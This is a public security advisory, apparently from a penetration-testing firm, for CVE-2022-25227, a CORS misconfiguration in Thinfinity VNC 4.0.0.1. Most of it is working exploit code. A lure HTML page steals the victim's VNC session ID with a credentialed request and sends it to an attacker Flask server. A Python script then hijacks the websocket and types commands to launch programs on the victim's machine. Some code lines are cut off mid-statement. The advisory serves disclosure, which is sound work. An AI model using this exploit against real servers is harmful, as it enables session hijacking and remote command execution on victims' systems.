Thinfinity VNC v4.0.0.1 - CORS Misconfiguration to RCE

Summary

Affected versions	v4.0.0.1
State	Public
Release date	2022-05-17

Vulnerability

Kind	CORS Misconfiguration
Rule	134. Insecure or unset HTTP headers - CORS
Remote	Yes
CVSSv3 Vector	CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H
CVSSv3 Base Score	8.3
Exploit available	Yes
CVE ID(s)	CVE-2022-25227

Proof of Concept

1. Create a malicious site with the following content and send it to the victim.

```
<!DOCTYPE html>
<html>
<body>
<center>
<h2>CORS Thinfinity POC Exploit</h2>
<h3>Extract ID</h3>

<div id="demo">
<button type="button" onclick="cors()">Exploit</button>
```

```
</div>

<script>
function cors() {

var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
    if (this.readyState == 4 && this.status == 200) {

        response = JSON.parse(this.responseText)
        id_str = response['id']

        id_str = id_str.slice(1, id_str.length - 1)

        alert("Exfiltrated ID: " + id_str)
        alert("Do you want to send the exploit?")

        const flask_http = new XMLHttpRequest();
```



```
        // Send ID to flask application
        flask_http.open("GET", url)
        flask_http.send()

        flask_http.onreadystatechange = function() {
                alert('Done!!!')
        }

    }
};

// exfiltrate ID using CORS vulnerability

// CHANGE THIS
```

```
var server = "172.16.28.140:8081"
xhttp.open("GET", "http://" + server + "/vnc/cmd?cmd=connect&wscomp
xhttp.withCredentials = true;
xhttp.send();
}


</script>

</body>
</html>
```

2. Create a web socket connection against the target server using the exfiltrated `ID`. The following PoC sends the Ctrl+Esc keystroke


```
id_str ="D6647736-7489-4FA3-9620-25F2DC7FA1F6"

ws = create_connection("ws://172.16.28.140:8081/vnc/%7B" + id_str +
command = "cmd=fkey&key=CtrlEsc&id={" + id_str + "}"
ws.send(command)
```

3. The exploit below can be used to send arbitrary commands to the server after the `ID` is exfiltrated. It uses the `ID` to hijack the VNC connection and send keystrokes or mouse moves to the server.

Exploit

- Run the flask application and trick a user with a session in Thinfinity to visit the page.

```
# export FLASK_APP=exploit_thinfinity
# flask run --host=0.0.0.0

from flask import Flask, request, redirect
from websocket import create_connection
import time
import socket

app = Flask(__name__)


# CHANGE THIS
```



```
    ws.send("cmd=keyb&key=13&char=0&action=down&id={" + str_id + "}")
    time.sleep(1)

def send_ctrl_esc(ws, str_id):
    ws.send("cmd=fkey&key=CtrlEsc&id={%s}" % str_id)
    time.sleep(1)

def send_text(ws, cmd, str_id):

    for c in cmd:
        key = str(ord(c))

        command  = "cmd=keyb&key=66&action=down&id={%s}&char=%s&locatio
        ws.send(command)
        time.sleep(0.2)
```

```
    time.sleep(2)


@app.route("/exploit")
def about():

    ip = request.host.split(':')[0]

    return """
        <!DOCTYPE html>
        <html>
        <body>
        <center>
        <h2>CORS Thinfinity POC Exploit</h2>
        <h3>Extract ID</h3>

        <div id="demo">
```



```
        xhttp.onreadystatechange = function() {
            if (this.readyState == 4 && this.status == 200) {

                response = JSON.parse(this.responseText)
                id_str = response['id']

                id_str = id_str.slice(1, id_str.length - 1)

                alert("Exfiltrated ID: " + id_str)
                alert("Do you want to send the exploit?")

                const flask_http = new XMLHttpRequest();

                // Server to exfiltrate the websocket id
```

```
                // CHANGE THIS
                var exf_server = "%s:5000"
                const url = "http://" + exf_server + "/cors?id=" + id_s


                // Send ID to flask application
                flask_http.open("GET", url)
                flask_http.send()

                flask_http.onreadystatechange = function() {
                        alert('Done!!!')
                }

            }
        };

        // exfiltrate ID using CORS vulnerability
```



```
        </script>
        </body>
        </html>
    """ % (ip, server)


@app.route('/cors',methods=['GET'])
def cors():
    str_id = request.args.get('id')
    print(str_id)
```

```
    socket_url = "ws://" + server +  "/vnc/%7B"+ str_id +"%7D"
    ws = create_connection(socket_url)

    send_ctrl_esc(ws,str_id)

    send_text(ws,"run",str_id)
    send_enter(ws,str_id)

    send_text(ws,"calc.exe",str_id)
    send_enter(ws,str_id)

    return str_id

@app.route("/")
def index():
    return redirect('/exploit')
```


Credits

The vulnerability was discovered by Oscar Uribe from the Offensive Team of Fluid Attacks.

References

Vendor page https://www.cybelesoft.com/thinfinity/

Timeline

2022-04-11
Vulnerability discovered.

2022-04-11
Vendor contacted.

2022-05-17
Public Disclosure.

Services

Continuous Hacking

One-shot Hacking

Comparative

Solutions

DevSecOps

Secure Code Review

Red Teaming

Breach and Attack Simulation

Security Testing

Penetration Testing